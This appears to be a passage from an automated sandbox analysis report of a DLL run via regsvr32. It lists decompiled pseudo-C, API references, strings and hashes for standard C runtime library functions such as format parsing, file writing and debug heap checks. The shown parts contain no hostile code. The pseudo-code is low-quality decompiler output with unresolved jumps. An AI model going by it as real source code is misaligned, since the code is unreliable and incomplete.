				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc41
0x7fef9d3dc61
0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction ID: 4e41d9db2091814ce308bd8b3badba688d1355b6a5e36393cab3bd2279fd69d5
Opcode Fuzzy Hash: 00c8469e1271fc8907031e5201d4ef955f45b92ddfc689a069c686c98e5ea265
Instruction Fuzzy Hash: 01412AB2A0C6C286E7F09B64E8407BEB2E4F384346F600126D6CD876A9DB3ED444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDDA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDDA(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t134 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t114 + _t134 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction ID: 25f4969c447c8d4d660c638a7323c6370fe89c3a0b7b258112d187f79a668fd6
Opcode Fuzzy Hash: 0dcb35cdac88f8f65d488c6c387acf7a3a87c9c5c0c9a15f6f87c725b9d0fc3a
Instruction Fuzzy Hash: ED416E72A0DAC28AE3F0DB24E8547BEB7E4E384345F600126D6DD869A9DB7ED140CF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD88(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t114;
				char* _t134;

				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t134 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t134);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t114 + _t134 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction ID: 6afb929124b84414141dd4680376ccf7afecd9c4b7d6d92296aea7179b7f5a27
Opcode Fuzzy Hash: c688226ec199b2b9f0c59a43de4c80c1eb2ed98f75eb3809899ea6a1a3543fc2
Instruction Fuzzy Hash: 024109A2A0C6C286E7F09B64E8447BEB6E4F394346F600126D6CD876A5DB3ED444DF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39520 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

SetFilePointer.KERNEL32 ref: 000007FEF9D395B0
GetLastError.KERNEL32 ref: 000007FEF9D395C1
_dosmaperr.LIBCMTD ref: 000007FEF9D395D6

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c, xrefs: 000007FEF9D39578
("Invalid file descriptor. File possibly closed by a different thread",0), xrefs: 000007FEF9D39563

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ErrorFileLastPointer__doserrno_dosmaperr
String ID: ("Invalid file descriptor. File possibly closed by a different thread",0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\lseeki64.c
API String ID: 275287319-2412454244
Opcode ID: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction ID: f463794f61061979348d28cf0890255f55ae464b61bc66257c006d95a81b41bb
Opcode Fuzzy Hash: 9dbe059b54c234531181e61fbc079bb475f6c20a5a1a356ebb7b18ccdd590da7
Instruction Fuzzy Hash: A8316372A18B85C6D790CB28E88066E77A1F7857A5F604325E6FE47AF9CB3DD441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26210 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D262BE
_unlock.LIBCMTD ref: 000007FEF9D26329

Strings

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY, xrefs: 000007FEF9D2625A, 000007FEF9D262B7
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2626F, 000007FEF9D262A9
_CrtSetDbgFlag, xrefs: 000007FEF9D262B0

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter_unlock
String ID: (fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAY$_CrtSetDbgFlag$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2816345473-1282596470
Opcode ID: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction ID: 0c290ab1c852a48438f6a901ce88093280091c3cb9967e086700a94ae8aeefb6
Opcode Fuzzy Hash: db3a677d4455786e2b88604055b88d75c0eb5ecf603a90f053d8ba1f75c85f5c
Instruction Fuzzy Hash: 18313371D1D2428AE3A08B68ED4476E77E0F741364F615236A6CD866F4D77EE4488B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40070 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D400EA
_free_nolock.LIBCMTD ref: 000007FEF9D40143
_unlock.LIBCMTD ref: 000007FEF9D4015A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp, xrefs: 000007FEF9D4011C
pNode->_Next != NULL, xrefs: 000007FEF9D40107

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock$_unlock
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\prebuild\eh\typname.cpp$pNode->_Next != NULL
API String ID: 2500497606-1087415141
Opcode ID: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction ID: 34f18152e293ad813cf8b9b11c4969fef8ff7405ef187e896dde4a1f66726313
Opcode Fuzzy Hash: e5522c6252449cb40e85df54e6268dac1ebec28ce271d6c329a952fe203911e4
Instruction Fuzzy Hash: 4121FC36629B8581EB909B59E89072DA3E4F3C4B94F609426FACE437B4CF7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35393 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__RethrowException.LIBCMTD ref: 000007FEF9D353C5

Part of subcall function 000007FEF9D354A0: RaiseException.KERNEL32 ref: 000007FEF9D354CD

__RethrowException.LIBCMTD ref: 000007FEF9D353D1
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Exception$Rethrow$DestroyedFindFrameObjectRaiseUnlink
String ID: csm
API String ID: 933340387-1018135373
Opcode ID: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction ID: be7caa3ba3d0a30f9fef9d29ccc0ee5b0ac29a888dcf6323555a590ed5530147
Opcode Fuzzy Hash: 185150422f69e9325bbbdd07ff6b0460cc0f5d94f5833ed3dae1d6afaaf19a73
Instruction Fuzzy Hash: BE21FA32A0C64582DAA09B15E49076D67A0F7C0B52F611136EADE077B5CB3BD4418B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39694 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D396F6
_invalid_parameter.LIBCMTD ref: 000007FEF9D39730

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D396C1, 000007FEF9D39729
_write, xrefs: 000007FEF9D39722
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D396D6, 000007FEF9D3971B

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_write$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-23161695
Opcode ID: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction ID: f549bc85806da522572ee7890384280d6aac56d4f037a7782e26525923b50f93
Opcode Fuzzy Hash: 943f3f5a8649ad99659fc24fe5f00fa9245fa7ab2d20795fce64249369f79773
Instruction Fuzzy Hash: A2112A71A29606CAF7D0AB14ED5476E72E1F3507C9FA09125E2CD026E4D77EE504CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D39939 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D39998
_invalid_parameter.LIBCMTD ref: 000007FEF9D399D2

Strings

_write_nolock, xrefs: 000007FEF9D399C4
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D39978, 000007FEF9D399BD
(buf != NULL), xrefs: 000007FEF9D39963, 000007FEF9D399CB

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: __doserrno_invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c
API String ID: 4140903211-3042049227
Opcode ID: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction ID: 08953b95d21c5f70e3699fefb321eca4419d040150facc41ebc10b04699de718
Opcode Fuzzy Hash: b18c78e6a001b3924330ee466a7aa5e58f01f9920a26db0e17f8c8ea79e16f29
Instruction Fuzzy Hash: F8115731E0C646DAF7A4AF24EC117AE73D0F780398FA0912692CC026E5DB7EE644CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3976D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33COMMON

Download Yara Rule

APIs

__doserrno.LIBCMTD ref: 000007FEF9D397C3
_invalid_parameter.LIBCMTD ref: 000007FEF9D397FD

Strings

(_osfile(fh) & FOPEN), xrefs: 000007FEF9D3978E, 000007FEF9D397F6
_write, xrefs: 000007FEF9D397EF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\write.c, xrefs: 000007FEF9D397A3, 000007FEF9D397E8

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
